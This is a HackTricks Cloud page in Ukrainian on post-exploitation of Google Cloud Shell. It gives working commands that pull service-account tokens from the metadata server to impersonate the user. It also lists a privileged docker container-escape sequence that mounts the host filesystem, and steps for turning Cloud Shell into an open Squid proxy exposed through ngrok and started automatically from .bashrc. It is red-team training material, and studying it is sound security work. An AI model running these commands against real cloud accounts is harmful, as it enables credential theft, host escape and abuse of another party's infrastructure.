GCP - Cloud Shell Post Exploitation
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Cloud Shell
Для отримання додаткової інформації про Cloud Shell дивіться:
Отримання token користувача з metadata
Просто отримавши доступ до metadata server, ви можете отримати token, щоб діяти від імені поточного увійшовшого користувача:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
Container Escape / Docker use
Warning
Раніше cloud shell запускався в контейнері з доступом до docker socket хоста. Тепер Google змінила архітектуру, і контейнер cloud shell працює в конфігурації “Docker in a container”. Тож навіть якщо можливо використовувати docker з cloud shell, ви не зможете escape to the host, використовуючи docker socket. Зауважте, що раніше файл
docker.sockзнаходився в/google/host/var/run/docker.sock, але тепер його перемістили в/run/docker.sock.
Docker use / Old container escape commands
```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```Крім того, раніше можна було знайти токен для service account, який використовувався cloud shell VM, на metadata server:
Старий service account із metadata
```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` З наступними областями доступу: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write
</details>
### Використати як Proxy
Якщо ви хочете використати ваш google cloud shell instance як proxy, треба виконати такі команди (або вставити їх у файл .bashrc):
<details>
<summary>Встановити Squid proxy</summary>
```bash
sudo apt install -y squid
Для довідки, Squid — це http proxy server. Створіть файл squid.conf з такими налаштуваннями:
Create squid.conf file
```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```скопіюйте файл squid.conf до /etc/squid
Скопіювати конфігурацію до /etc/squid
```bash sudo cp squid.conf /etc/squid ```Нарешті запустіть сервіс squid:
Запустіть сервіс squid
```bash sudo service squid start ```Використовуйте ngrok, щоб зробити proxy доступним зовні:
Відкрити proxy через ngrok
```bash ./ngrok tcp 3128 ```Після запуску скопіюйте tcp:// url. Якщо ви хочете запускати proxy з браузера, рекомендується видалити частину tcp:// і порт та вказати порт у полі портів у налаштуваннях проксі вашого браузера (squid — це http proxy server).
Для зручнішого використання при старті файл .bashrc має містити такі рядки:
Додати в .bashrc для автоматичного запуску
```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```Інструкції були скопійовані з https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Перегляньте цю сторінку для інших божевільних ідей щодо запуску будь-якого програмного забезпечення (баз даних і навіть Windows) у Cloud Shell.
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud

